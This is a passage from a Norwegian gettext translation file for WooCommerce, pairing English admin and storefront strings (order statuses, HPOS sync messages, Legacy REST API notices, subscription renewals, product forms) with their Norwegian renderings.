msgstr "Kundens betaling mislyktes eller ble avvist, og ingen betaling har blitt utført."
#: src/Internal/Admin/Orders/ListTable.php:1230
msgid "Order fulfilled and complete."
msgstr "Ordren er fullført og komplett."
#: src/Internal/Admin/Orders/ListTable.php:1229
msgid "Payment has been received (paid), and the stock has been reduced. The order is awaiting fulfillment."
msgstr "Ordren er mottatt (betalt), og lagerbeholdningen er redusert. Ordren venter på å bli behandlet."
#: src/Internal/Admin/Orders/ListTable.php:1228
msgid "The order is awaiting payment confirmation. Stock is reduced, but you need to confirm payment."
msgstr "Ordren venter på betalingsbekreftelse. Lageret er redusert, men du må bekrefte betalingen."
#: src/Internal/Admin/Orders/ListTable.php:1227
msgid "The order has been received, but no payment has been made. Pending payment orders are generally awaiting customer action."
msgstr "Ordren er mottatt, men ingen betaling er registrert. Ordre som avventer betaling, venter vanligvis på kunden skal fullføre betalingen."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1377
msgid "Compatibility mode disabled."
msgstr "Kompatibilitetsmodus er slått av."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1375
msgid "Compatibility mode enabled."
msgstr "Kompatibilitetsmodus er slått på."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1366
msgid "Compatibility mode is already disabled."
msgstr "Kompatibilitetsmodus er allerede slått av."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1364
msgid "Compatibility mode is already enabled."
msgstr "Kompatibilitetsmodus er allerede slått på."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1356
msgid "HPOS tables do not exist."
msgstr "HPOS-tabeller finnes ikke."
#: src/Blocks/Patterns/PTKClient.php:126
msgid "Wrong response received from the Patterns Toolkit API: try again later."
msgstr "Feil svar mottatt fra Patterns Toolkit APIet, forsøk igjen senere."
#: src/Blocks/Patterns/PTKClient.php:115
msgid "Empty response received from the Patterns Toolkit API."
msgstr "Tomt svar mottatt fra Patterns Toolkit APIet."
#: src/Blocks/Patterns/PTKClient.php:106
msgid "Failed to connect with the Patterns Toolkit API: try again later."
msgstr "Kunne ikke koble til Patterns Toolkit APIet, forsøk igjen senere."
#: src/Blocks/BlockPatterns.php:230
msgid "Empty patterns received from the PTK Pattern Store"
msgstr "Tomme mønstre mottatt fra PTK Pattern Store"
#: src/Admin/PluginsHelper.php:1218
msgid "Your WooCommerce extension subscription is missing a payment method for renewal. Add a payment method to ensure you continue receiving updates and streamlined support."
msgid_plural "Your WooCommerce extension subscriptions are missing a payment method for renewal. Add a payment method to ensure you continue receiving updates and streamlined support."
msgstr[0] "Abonnementet på WooCommerce-utvidelsen mangler en betalingsmåte for fornyelse. Legg til en betalingsmåte for å sikre at du fortsetter å motta oppdateringer og brukerstøtte."
msgstr[1] "Abonnementene på WooCommerce-utvidelsene mangler en betalingsmåte for fornyelse. Legg til en betalingsmåte for å sikre at du fortsetter å motta oppdateringer og brukerstøtte."
#. translators: %s: WooCommerce.com URL to add payment method
#: src/Admin/PluginsHelper.php:1210
msgid "Your WooCommerce extension subscription is missing a payment method for renewal. <a href=\"%s\">Add a payment method</a> to ensure you continue receiving updates and streamlined support."
msgid_plural "Your WooCommerce extension subscriptions are missing a payment method for renewal. <a href=\"%s\">Add a payment method</a> to ensure you continue receiving updates and streamlined support."
msgstr[0] "Abonnementet på WooCommerce-utvidelsen mangler en betalingsmåte for fornyelse. <a href=\"%s\">Legg til en betalingsmåte</a> for å sikre at du fortsetter å motta oppdateringer og brukerstøtte."
msgstr[1] "Abonnementene på WooCommerce-utvidelsene mangler en betalingsmåte for fornyelse. <a href=\"%s\">Legg til en betalingsmåte</a> for å sikre at du fortsetter å motta oppdateringer og brukerstøtte."
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:79
msgid "Instantly send tracking to your customers"
msgstr "Send sporing til kundene umiddelbart"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:75
msgid "Advanced automated workflows and customs"
msgstr "Avanserte automatiserte arbeidsflyter og rutiner"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:68
msgid "Sync all your selling channels in one place"
msgstr "Synkroniser alle salgskanalene dine på ett sted"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:61
msgid "Discounted labels from top global carriers"
msgstr "Rabatterte etiketter fra verdens beste transportører"
#: patterns/product-search-form.php:10
msgctxt "button label of product search block"
msgid "Search"
msgstr "Søk"
#: patterns/no-products-found-filters.php:13
msgctxt "Used in sentence: You can try clearing any filters or head to our store's home."
msgid "store's home"
msgstr "butikkens forside"
#: patterns/no-products-found-filters.php:13
msgctxt "Used in sentence: You can try clearing any filters or head to our store's home."
msgid "or head to our"
msgstr "eller gå til"
#: patterns/no-products-found-filters.php:13
msgctxt "Used in sentence: You can try clearing any filters or head to our store's home."
msgid "clearing any filters"
msgstr "fjerne eventuelle filtre"
#: patterns/no-products-found-filters.php:13
msgctxt "Used in sentence: You can try clearing any filters or head to our store's home."
msgid "You can try"
msgstr "Du kan forsøke"
#: patterns/no-products-found-filters.php:10
msgctxt "Message explaining that there are no products found"
msgid "No results found"
msgstr "Ingen treff"
#: patterns/coming-soon-entire-site.php:48
#: patterns/page-coming-soon-default.php:41
msgid "Pardon our dust! We're working on something amazing — check back soon!"
msgstr "Beklager! Vi jobber med noe fantastisk, velkommen tilbake litt senere."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-shipping-classes-controller.php:40
msgid "Suggest a slug for the term."
msgstr "Foreslå en identifikator for begrepet."
#: includes/class-wc-post-types.php:418
msgid "This is where you can set up product forms for various product types in your dashboard."
msgstr "Her kan du sette opp produktskjemaer for ulike produkttyper i kontrollpanelet."
#: includes/class-wc-post-types.php:416
msgid "A link to a product form."
msgstr "En lenke til et produktskjema."
#: includes/class-wc-post-types.php:415
msgid "Product form Link"
msgstr "Produktskjemalenke"
#: includes/class-wc-post-types.php:414
msgid "Product forms list"
msgstr "Produktskjemaliste"
#: includes/class-wc-post-types.php:413
msgid "Product forms navigation"
msgstr "Produktskjemanavigering"
#: includes/class-wc-post-types.php:412
msgid "Filter product forms"
msgstr "Filtrer produktskjemaer"
#: includes/class-wc-post-types.php:411
msgid "Uploaded to this product form"
msgstr "Lastet opp til dette produktskjemaet"
#: includes/class-wc-post-types.php:410
msgid "Insert into product form"
msgstr "Sett inn i produktskjemaet"
#: includes/class-wc-post-types.php:409
msgid "Use as product form image"
msgstr "Bruk som produktskjemabilde"
#: includes/class-wc-post-types.php:408
msgid "Remove product form image"
msgstr "Fjern produktskjemabilde"
#: includes/class-wc-post-types.php:407
msgid "Set product form image"
msgstr "Angi produktskjemabilde"
#: includes/class-wc-post-types.php:406
msgid "Product form image"
msgstr "Produktskjemabilde"
#: includes/class-wc-post-types.php:405
msgid "Parent product form"
msgstr "Overordnet produktskjema"
#: includes/class-wc-post-types.php:404
msgid "No product forms found in trash"
msgstr "Ingen produktskjema funnet i papirkurv"
#: includes/class-wc-post-types.php:403
msgid "No product forms found"
msgstr "Ingen produktskjema funnet"
#: includes/class-wc-post-types.php:402
msgid "Search product forms"
msgstr "Søk etter produktskjema"
#: includes/class-wc-post-types.php:401
msgid "View product forms"
msgstr "Vis produktskjemaer"
#: includes/class-wc-post-types.php:400
msgid "View product form"
msgstr "Vis produktskjema"
#: includes/class-wc-post-types.php:399
msgid "New product form"
msgstr "Nytt produktskjema"
#: includes/class-wc-post-types.php:398
msgid "Edit product form"
msgstr "Rediger produktskjema"
#: includes/class-wc-post-types.php:396
msgid "Add new product form"
msgstr "Legg til nytt produktskjema"
#: includes/class-wc-post-types.php:394
msgctxt "Admin menu name"
msgid "Product Forms"
msgstr "Produktskjemaer"
#: includes/class-wc-post-types.php:393
msgid "All Product Form"
msgstr "Alle produktskjema"
#: includes/class-wc-post-types.php:392
msgid "Product Form"
msgstr "Produktskjema"
#: includes/class-wc-post-types.php:391
msgid "Product Forms"
msgstr "Produktskjemaer"
#. Translators: %1$s: block slug.
#: includes/admin/views/html-admin-page-status-report.php:915
msgid "Contains the <strong>%1$s</strong> block"
msgstr "Inneholder blokken <strong>%1$s</strong>."
#. translators: %1$s: shortcode text.
#: includes/admin/views/html-admin-page-status-report.php:912
msgid "Contains the <strong>%1$s</strong> shortcode"
msgstr "Inneholder kortkoden <strong>%1$s</strong>."
#: includes/admin/views/html-admin-page-status-report.php:904
msgid "This page's content is overridden by custom template content"
msgstr "Denne sidens innhold overstyres av tilpasset malinnhold"
#. Translators: %1$s: shortcode text, %2$s: block slug.
#: includes/admin/views/html-admin-page-status-report.php:892
msgid "Page contains both the %1$s shortcode and the %2$s block."
msgstr "Siden inneholder både kortkoden %1$s og blokken %2$s."
#: includes/admin/settings/views/html-keys-edit.php:86
msgid "Write-only keys do not prevent clients from seeing information about the entities they are updating."
msgstr "Skrivebeskyttede nøkler hindrer ikke klienter i å se informasjon om enhetene de oppdaterer."
#: includes/admin/settings/views/html-keys-edit.php:35
msgid "Add a meaningful description, including a note of the person, company or app you are sharing the key with."
msgstr "Legg til en meningsfull beskrivelse, inkludert et notat om personen, bedriften eller appen du deler nøkkelen med."
#: includes/admin/settings/views/html-keys-edit.php:17
msgid "Stick to one key per client: this makes it easier to revoke access in the future for a single client, without causing disruption for others."
msgstr "Hold deg til én nøkkel per klient: Dette gjør det enklere å tilbakekalle tilgangen for en enkelt klient i fremtiden, uten å forstyrre andre."
#: includes/admin/settings/views/html-keys-edit.php:16
msgid "API keys open up access to potentially sensitive information. Only share them with organizations you trust."
msgstr "API-nøkler gir tilgang til potensielt sensitiv informasjon. Del dem bare med organisasjoner du stoler på."
#: assets/client/blocks/product-filters/block.json
msgctxt "block description"
msgid "Let shoppers filter products displayed on the page."
msgstr "La kundene filtrere produktene som vises på siden."
#: assets/client/blocks/add-to-cart-with-options-quantity-selector/block.json
msgctxt "block title"
msgid "Product Quantity (Beta)"
msgstr "Produktantall (Beta)"
#: assets/client/blocks/product-filter-clear-button/block.json
msgctxt "block description"
msgid "Allows shoppers to clear active filters."
msgstr "Gjør det mulig for kundene å fjerne aktive filtre."
#: assets/client/blocks/product-collection/block.json
msgctxt "block title"
msgid "Product Collection"
msgstr "Produktutvalg"
#: assets/client/blocks/inner-blocks/checkout-shipping-method-block/block.json
msgctxt "block title"
msgid "Delivery"
msgstr "Levering"
#: src/Admin/Features/Blueprint/Init.php:218
#: assets/client/admin/chunks/9336.js:1
msgid "Plugins"
msgstr "Plugins"
#: templates/order/attribution-details.php:104
msgid "Marketing tactic"
msgstr "Markedsføringstaktikk"
#: templates/order/attribution-details.php:95
msgid "Creative format"
msgstr "Kreativt format"
#: templates/order/attribution-details.php:86
msgid "Source platform"
msgstr "Kildeplattform"
#: src/Internal/Features/FeaturesController.php:391
msgid "Create and use full text search indexes for orders. This feature only works with high-performance order storage."
msgstr "Opprett og bruk fulltekstsøkeindekser for ordrer. Denne funksjonen fungerer bare med høyytelses ordrelagring."
#: src/Internal/Features/FeaturesController.php:390
msgid "HPOS Full text search indexes"
msgstr "HPOS fulltekstsøkeindekser"
#. translators: %d is an order ID.
#: src/Internal/DataStores/Orders/LegacyDataHandler.php:162
msgid "%d is not of a valid order type."
msgstr "%d er ikke av en gyldig ordretype."
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:736
msgid "Sync orders now"
msgstr "Synkroniser ordre nå"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:729
msgid "You can switch order data storage <strong>only when the posts and orders tables are in sync</strong>. There are currently orders out of sync."
msgstr "Du kan bare endre lagring av ordredata <strong>når innleggs- og ordretabellene er synkronisert</strong>. For øyeblikket er ordrer ikke synkronisert."
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:713
msgid "Stop sync"
msgstr "Stopp synkronisering"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:681
msgid "Switching data storage while sync is incomplete is dangerous and can lead to order data corruption or loss!"
msgstr "Det er farlig å bytte datalagring mens synkroniseringen er ufullstendig, og det kan føre til korrupsjon eller tap av ordredata!"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:499
msgid "Unable to stop synchronization. The link you followed may have expired."
msgstr "Kan ikke stoppe synkroniseringen. Koblingen du fulgte, kan ha utløpt."
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:393
msgid "Failed to create FTS index on order item table"
msgstr "Kunne ikke opprette FTS-indeks på ordrevaretabellen"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:379
msgid "Failed to create FTS index on address table"
msgstr "Kunne ikke opprette FTS-indeks på adressetabellen"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:364
msgid "Failed to create FTS index on orders table. This feature is only available when High-performance order storage is enabled."
msgstr "Kunne ikke opprette FTS-indeks på ordretabellen. Denne funksjonen er bare tilgjengelig når høyytelses ordrelagring er aktivert."
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:70
#: assets/client/admin/chunks/core-profiler.js:1
msgid "Arts and crafts"
msgstr "Kunst og håndverk"
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:65
#: assets/client/admin/chunks/core-profiler.js:1
msgid "Sports and recreation"
msgstr "Sport og rekreasjon"
#: src/Blocks/Shipping/PickupLocation.php:41
#: src/Blocks/Shipping/ShippingController.php:576
#: src/StoreApi/Utilities/LocalPickupUtils.php:20
#: src/StoreApi/Utilities/LocalPickupUtils.php:27
#: assets/client/blocks/checkout-frontend.js:2
#: assets/client/blocks/checkout-frontend.js:5
#: assets/client/blocks/checkout.js:28 assets/client/blocks/checkout.js:33
#: assets/client/blocks/wc-shipping-method-pickup-location.js:80
#: assets/client/blocks/wc-shipping-method-pickup-location.js:83
msgid "Pickup"
msgstr "Hente"
#. translators: 1) total expired subscriptions 2) URL to My Subscriptions page
#: src/Admin/PluginsHelper.php:997
msgid "You have <strong>%1$s Woo extension subscriptions</strong> that expired. <a href=\"%2$s\">Renew</a> to continue receiving updates and streamlined support."
msgstr "Du har <strong>%1$s Woo-utvidelsesabonnementer</strong> som har utløpt. <a href=\"%2$s\">Forny</a> for å fortsette å motta oppdateringer og strømlinjeformet støtte."
#. translators: 1) product name 3) URL to My Subscriptions page 4) Renew
#. product price string
#: src/Admin/PluginsHelper.php:995
msgid "One of your subscriptions for <strong>%1$s</strong> has expired. <a href=\"%3$s\">%4$s</a> to continue receiving updates and streamlined support."
msgstr "Et av abonnementene dine på <strong>%1$s</strong> har utløpt. <a href=\"%3$s\">%4$s.</a> for å fortsette å motta oppdateringer og strømlinjeformet støtte."
#. translators: 1) product name 3) URL to My Subscriptions page 4) Renew
#. product price string
#: src/Admin/PluginsHelper.php:993
msgid "Your subscription for <strong>%1$s</strong> expired. <a href=\"%3$s\">%4$s</a> to continue receiving updates and streamlined support."
msgstr "Abonnementet ditt for <strong>%1$s</strong> utløpt. <a href=\"%3$s\">%4$s</a> for å fortsette å motta oppdateringer og strømlinjeformet støtte."
#: src/Admin/PluginsHelper.php:949
msgid "Enable auto-renewal"
msgstr "Aktiver automatisk fornyelse"
#. translators: 1) total expiring subscriptions 2) URL to My Subscriptions page
#: src/Admin/PluginsHelper.php:925
msgid "You have <strong>%1$s Woo extension subscriptions</strong> expiring soon. <a href=\"%2$s\">Enable auto-renewal</a> to continue receiving updates and streamlined support."
msgstr "Du har <strong>%1$s Woo-utvidelsesabonnementer</strong> som snart utløper. <a href=\"%2$s\">Aktiver automatisk fornyelse</a> for å fortsette å motta oppdateringer og strømlinjeformet kundestøtte."
#. translators: 1) product name 2) expiry date 3) URL to My Subscriptions page
#: src/Admin/PluginsHelper.php:923
msgid "One of your subscriptions for <strong>%1$s</strong> expires on %2$s. <a href=\"%3$s\">Enable auto-renewal</a> to continue receiving updates and streamlined support."
msgstr "Ett av abonnementene dine for <strong>%1$s</strong> utløper på %2$s. <a href=\"%3$s\">Aktiver automatisk fornyelse</a> for å fortsette å motta oppdateringer og strømlinjeformet støtte."
#. translators: 1) product name 2) expiry date 3) URL to My Subscriptions page
#: src/Admin/PluginsHelper.php:921
msgid "Your subscription for <strong>%1$s</strong> expires on %2$s. <a href=\"%3$s\">Enable auto-renewal</a> to continue receiving updates and streamlined support."
msgstr "Abonnementet ditt for <strong>%1$s</strong> utløper på %2$s. <a href=\"%3$s\">Aktiver automatisk fornyelse</a> for å fortsette å motta oppdateringer og strømlinjeformet støtte."
#. translators: 1: Product price
#: src/Admin/PluginsHelper.php:826
msgid "Renew for %1$s"
msgstr "Forny for %1$s"
#: includes/rest-api/Controllers/Version3/class-wc-rest-orders-controller.php:392
msgid "Set the action as manual so that the order note registers as \"added by user\"."
msgstr "Angi handlingen som manuell, slik at ordrenotatet registreres som \"lagt til av bruker\"."
#: includes/class-wc-cart.php:1811
msgid "This method has been deprecated and will be removed soon. Use Automattic\\WooCommerce\\Utilities\\DiscountsUtil::is_coupon_emails_allowed instead."
msgstr "Denne metoden er utdatert og vil snart bli fjernet. Bruk Automattic\\WooCommerce\\Utilities\\DiscountsUtil::is_coupon_emails_allowed i stedet."
#: includes/admin/views/html-admin-page-status-report.php:110
msgid "The Legacy REST API plugin is not installed on this site."
msgstr "Legacy REST API-utvidelsen er ikke installert på dette nettstedet."
#: includes/admin/views/html-admin-page-status-report.php:102
msgid "The WooCommerce Legacy REST API plugin running on this site."
msgstr "WooCommerce Legacy REST API-utvidelsen som kjører på dette nettstedet."
#: includes/admin/views/html-admin-page-status-report.php:101
msgid "WooCommerce Legacy REST API package"
msgstr "WooCommerce Legacy REST API-pakke"
#: includes/admin/views/html-admin-page-status-report.php:69
msgid "Copy for GitHub"
msgstr "Kopi til GitHub"
#: includes/admin/settings/views/html-webhooks-edit.php:152
msgid "Legacy API v3 (⚠️ NOT AVAILABLE)"
msgstr "Legacy API v3 (⚠️ IKKE TILGJENGELIG)"
#. translators: placeholders are URLs
#: includes/admin/settings/class-wc-settings-advanced.php:411
msgid "⚠️ The WooCommerce Legacy REST API has been moved to <a target=”_blank” href=\"%1$s\">a dedicated extension</a>. <b><a target=”_blank” href=\"%2$s\">Learn more about this change</a></b>"
msgstr "⚠️ WooCommerce Legacy REST API har blitt flyttet til en egen <a target=”_blank” href=\"%1$s\">utvidelse</a>. <b><a target=”_blank” href=\"%2$s\">Lær mer om denne endringen</a></b>"
#: includes/admin/settings/class-wc-settings-advanced.php:408
msgid "ℹ️️ The WooCommerce Legacy REST API extension is installed and active."
msgstr "ℹ️️ WooCommerce Legacy REST API-utvidelsen er installert og aktiv."
#: includes/admin/settings/class-wc-settings-advanced.php:404
msgid "The legacy REST API is NOT enabled"
msgstr "Det eldre REST API-et er IKKE aktivert"
#: includes/admin/settings/class-wc-settings-advanced.php:403
msgid "The legacy REST API is enabled"
msgstr "Det eldre REST API-et er aktivert"
#. translators: 1: Expiry date 1: URL to My Subscriptions page
#: includes/admin/helper/class-wc-helper-updater.php:336
msgid " Your subscription expires on %1$s, <a href=\"%2$s\" class=\"woocommerce-enable-autorenew\">enable auto-renew</a> to continue receiving updates."
msgstr " Abonnementet ditt utløper på %1$s, <a href=\"%2$s\" class=\"woocommerce-enable-autorenew\">aktiver automatisk fornyelse</a> for å fortsette å motta oppdateringer."
#. translators: 1: URL to My Subscriptions page 2: Product price
#: includes/admin/helper/class-wc-helper-updater.php:321
msgid " Your subscription expired, <a href=\"%1$s\" class=\"woocommerce-renew-subscription\">renew %2$s</a>to update."
msgstr " Abonnementet ditt er utløpt, <a href=\"%1$s\" class=\"woocommerce-renew-subscription\">forny %2$s</a>for å oppdatere."
#. translators: 1: Product regular price
#: includes/admin/helper/class-wc-helper-updater.php:317
msgid "for %s "
msgstr "for %s "
#. translators: %s is an URL
#: includes/admin/class-wc-admin-webhooks.php:393
msgid "<a href='%s'>More information</a>"
msgstr "<a href='%s'>Mer informasjon</a>"
#. translators: %s = URL
#: includes/admin/class-wc-admin-webhooks.php:371
msgid "This webhook has the ⚠️ symbol in front of its name in the list below. Please either edit the webhook to use a different delivery format, or install and activate <a href=\"%s\" target=\"_blank\">the WooCommerce Legacy REST API extension</a>."
msgid_plural "These webhooks have the ⚠️ symbol in front of their names in the list below. Please either edit the webhooks to use a different delivery format, or install and activate <a href=\"%s\" target=\"_blank\">the WooCommerce Legacy REST API extension</a>."
msgstr[0] "Denne webhooken har symbolet ⚠️ foran navnet sitt i listen nedenfor. Du må enten redigere webhooken for å bruke et annet leveringsformat, eller installere og aktivere <a href=\"%s\" target=\"_blank\">WooCommerce Legacy REST API-utvidelsen</a>."
msgstr[1] "Disse webhooksene har symbolet ⚠️ foran navnet i listen nedenfor. Du må enten redigere webhooksene for å bruke et annet leveringsformat, eller installere og aktivere <a href=\"%s\" target=\"_blank\">WooCommerce Legacy REST API-utvidelsen</a>."
#. translators: %s = webhooks count
#: includes/admin/class-wc-admin-webhooks.php:354
msgid "There's %d webhook that is configured to be delivered using the Legacy REST API, which has been removed from WooCommerce. This webhook will fail to be sent."
msgid_plural "There are %d webhooks that are configured to be delivered using the Legacy REST API, which has been removed from WooCommerce. These webhooks will fail to be sent."
msgstr[0] "Det er %d webhook som er konfigurert til å bli levert ved hjelp av Legacy REST API, som har blitt fjernet fra WooCommerce. Denne webhooken vil ikke bli sendt."
msgstr[1] "Det er %d webhooks som er konfigurert til å bli levert ved hjelp av Legacy REST API, som har blitt fjernet fra WooCommerce. Disse webhooksene vil ikke bli sendt."
#: includes/admin/class-wc-admin-webhooks.php:347
msgid "Incompatible webhooks warning"
msgstr "Advarsel om inkompatible webhooks"
#: includes/admin/class-wc-admin-webhooks-table-list.php:82
msgid "This webhook is configured to be delivered using the Legacy REST API, but the Legacy REST API plugin is not installed on this site."
msgstr "Denne webhooken er konfigurert til å bli levert ved hjelp av Legacy REST API, men Legacy REST API-utvidelsen er ikke installert på dette nettstedet."
#: assets/client/blocks/inner-blocks/cart-order-summary-totals-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-totals-block/block.json
msgctxt "block description"
msgid "Shows the subtotal, fees, discounts, shipping and taxes."
msgstr "Viser delsummen, gebyrer, rabatter, frakt og avgifter."
#: assets/client/blocks/inner-blocks/cart-order-summary-totals-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-totals-block/block.json
msgctxt "block title"
msgid "Totals"
msgstr "Totaler"
#: assets/client/blocks/coming-soon/block.json
msgctxt "block title"
msgid "Coming Soon"
msgstr "Kommer snart"
#: src/Internal/ComingSoon/ComingSoonAdminBarBadge.php:54
msgid "Store coming soon"
msgstr "Butikk kommer snart"
#. translators: %s is a URL.
#: src/Utilities/PluginUtil.php:247
msgid "⚠ <b><a target=\"_blank\" href=\"%s\">The Legacy REST API</a> is active on this site.</b> Please be aware that the WooCommerce Legacy REST API is <b>not</b> compatible with HPOS."
msgstr "⚠ <b><a target=\"_blank\" href=\"%s\">Legacy REST API</a> er aktivt på dette nettstedet</b>. Vær oppmerksom på at WooCommerce Legacy REST API <b>ikke</b> er kompatibelt med HPOS."
#. translators: %s is a URL.
#: src/Utilities/PluginUtil.php:240
msgid "⚠ <b><a target=\"_blank\" href=\"%s\">The Legacy REST API plugin</a> is installed and active on this site.</b> Please be aware that the WooCommerce Legacy REST API is <b>not</b> compatible with HPOS."
msgstr "⚠ <b><a target=\"_blank\" href=\"%s\">Legacy REST API-plugin</a> er installert og aktiv på dette nettstedet</b>. Vær oppmerksom på at WooCommerce Legacy REST API <b>ikke</b> er kompatibelt med HPOS."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:362
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:806
#: assets/client/admin/product-editor/index.js:2
msgid "Track inventory"
msgstr "Spor lagerbeholdningen"
#. translators: %1 is an order ID.
#: src/Internal/DataStores/Orders/LegacyDataHandler.php:175
msgid "Data in posts table appears to be more recent than in HPOS tables. Compare order data with `wp wc hpos diff %1$d` and use `wp wc hpos backfill %1$d --from=posts --to=hpos` to fix."
msgstr "Data i innleggstabellen ser ut til å være nyere enn i HPOS-tabellene. Sammenlign ordredata med `wp wc hpos diff %1$d` og bruk `wp wc hpos backfill %1$d --from=posts --to=hpos` for å rette opp."
#: src/Internal/Admin/Logging/Settings.php:307
msgid "⚠️ The file system connection could not be initialized."
msgstr "⚠️ Filsystemtilkoblingen kunne ikke initialiseres."
#: src/Internal/Admin/Logging/Settings.php:304
#: src/Internal/Admin/Logging/Settings.php:308
msgid "You may want to switch to the database for log storage."
msgstr "Det kan være lurt å bytte til databasen for lagring av logger."
#: src/Internal/Admin/Logging/Settings.php:303
msgid "⚠️ The file system is not configured for direct writes. This could cause problems for the logger."
msgstr "⚠️ Filsystemet er ikke konfigurert for direkte skriving. Dette kan forårsake problemer for loggeren."
#: src/Internal/Admin/Logging/Settings.php:301
msgid "✅ Ready"
msgstr "✅ Klar"
#. translators: %d is the number of orders that were cleaned up.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1013
msgid "Cleanup completed for %d order. Review errors above."
msgid_plural "Cleanup completed for %d orders. Review errors above."
msgstr[0] "Opprydding fullført for %d ordre. Se gjennom feilene ovenfor."
msgstr[1] "Opprydding fullført for %d ordrer. Se gjennom feilene ovenfor."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1000
msgid "Failed to clean up all orders in a batch. Aborting."
msgstr "Kunne ikke rydde opp i alle ordre i en massehandling. Avbryter."
#: src/Blocks/Templates/ComingSoonTemplate.php:24
msgctxt "Template name"
msgid "Page: Coming soon"
msgstr "Side: Kommer snart"
#. translators: %s: Connect page URL
#: src/Admin/PluginsHelper.php:653
msgid "<a id=\"woo-connect-notice-url\" href=\"%s\">Connect your store</a> to WooCommerce.com to get updates and streamlined support for your subscriptions."
msgstr "<a id=\"woo-connect-notice-url\" href=\"%s\">Koble butikken din</a> til WooCommerce.com for å få oppdateringer og strømlinjeformet støtte for abonnementene dine."
#: src/Admin/PluginsHelper.php:636
msgid "Your store might be at risk as you are running old versions of WooCommerce plugins."
msgstr "Butikken din kan være i fare fordi du kjører gamle versjoner av WooCommerce-utvidelser."
#: src/Admin/Features/OnboardingTasks/Tasks/Shipping.php:48
msgid "Select your shipping options"
msgstr "Velg fraktalternativer"
#. translators: no need to translate it. It's a link.
#: src/Admin/Features/LaunchYourStore.php:198
msgid ""
"\n"
"\t\t\tThis page is in \"Coming soon\" mode and is only visible to you and those who have permission. To make it public to everyone, <a href='%s'>change visibility settings</a>\n"
"\t\t"
msgstr ""
"\n"
"Denne siden er i «Kommer snart»-modus, den er bare synlig for deg og de som har tillatelse til det. Hvis du vil gjøre den offentlig for alle endrer du <a href='%s'>innstillingene for nettstedsynlighet</a>.\n"
"\t\t\n"
"\t\t"
#: src/Admin/API/Reports/Orders/Controller.php:472
#: assets/client/admin/chunks/analytics-report-orders.js:1
msgid "Attribution"
msgstr "Attribusjon"
#: src/Admin/API/Reports/Orders/Controller.php:219
msgid "Order attribution information."
msgstr "Informasjon om ordreattribusjon."
#: patterns/coming-soon-store-only.php:51
#: patterns/page-coming-soon-with-header-footer.php:42
msgid "Something big is brewing! Our store is in the works and will be launching soon!"
msgstr "Noe stort er i emning! Butikken vår er under arbeid og lanseres snart!"
#: patterns/coming-soon-store-only.php:43
#: patterns/page-coming-soon-with-header-footer.php:34
msgid "Great things are on the horizon"
msgstr "Store ting venter i horisonten"
#: includes/wc-core-functions.php:1626
msgctxt "Name of credit card"
msgid "Cartes Bancaires"
msgstr "Cartes Bancaires"
#. translators: %s: Order history URL on My Account section
#: includes/class-wc-frontend-scripts.php:653
msgid "There was an error processing your order. Please check for any charges in your payment method and review your <a href=\"%s\">order history</a> before placing the order again."
msgstr "Det oppstod en feil ved behandlingen av ordren din. Kontroller om det er belastet noe på betalingsmåten din, og se gjennom <a href=\"%s\">ordrehistorikken</a> din før du legger inn ordren på nytt."
#. translators: 1: Woo Update Manager plugin install URL
#: includes/admin/helper/class-wc-helper-updater.php:215
msgid " <a href=\"%1$s\" class=\"woocommerce-connect-your-store\">Connect your store</a> to woocommerce.com to update."
msgstr " <a href=\"%1$s\" class=\"woocommerce-connect-your-store\">Koble butikken din</a> til woocommerce.com for å oppdatere."
#: assets/client/admin/product-editor/blocks/product-fields/custom-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-custom-fields/block.json
msgctxt "block description"
msgid "The product custom fields."
msgstr "De egendefinerte produktfeltene."
#: assets/client/admin/product-editor/blocks/product-fields/custom-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-custom-fields/block.json
msgctxt "block title"
msgid "Product custom fields control"
msgstr "Kontroll av egendefinerte produktfelt"
#: assets/client/admin/product-editor/blocks/product-fields/custom-fields-toggle/block.json
#: assets/client/admin/product-editor/blocks/product-fields/custom-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-custom-fields-toggle-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-custom-fields/block.json
msgctxt "block keyword"
msgid "fields"
msgstr "felt"
#: assets/client/admin/product-editor/blocks/product-fields/custom-fields-toggle/block.json
#: assets/client/admin/product-editor/blocks/product-fields/custom-fields/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-custom-fields-toggle-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-custom-fields/block.json
msgctxt "block keyword"
msgid "custom"
msgstr "egendefinert"
#: assets/client/admin/product-editor/blocks/product-fields/custom-fields-toggle/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-custom-fields-toggle-field/block.json
msgctxt "block description"
msgid "The product custom fields toggle."
msgstr "Produktets egendefinerte felter veksler."
#: assets/client/admin/product-editor/blocks/product-fields/custom-fields-toggle/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-custom-fields-toggle-field/block.json
msgctxt "block title"
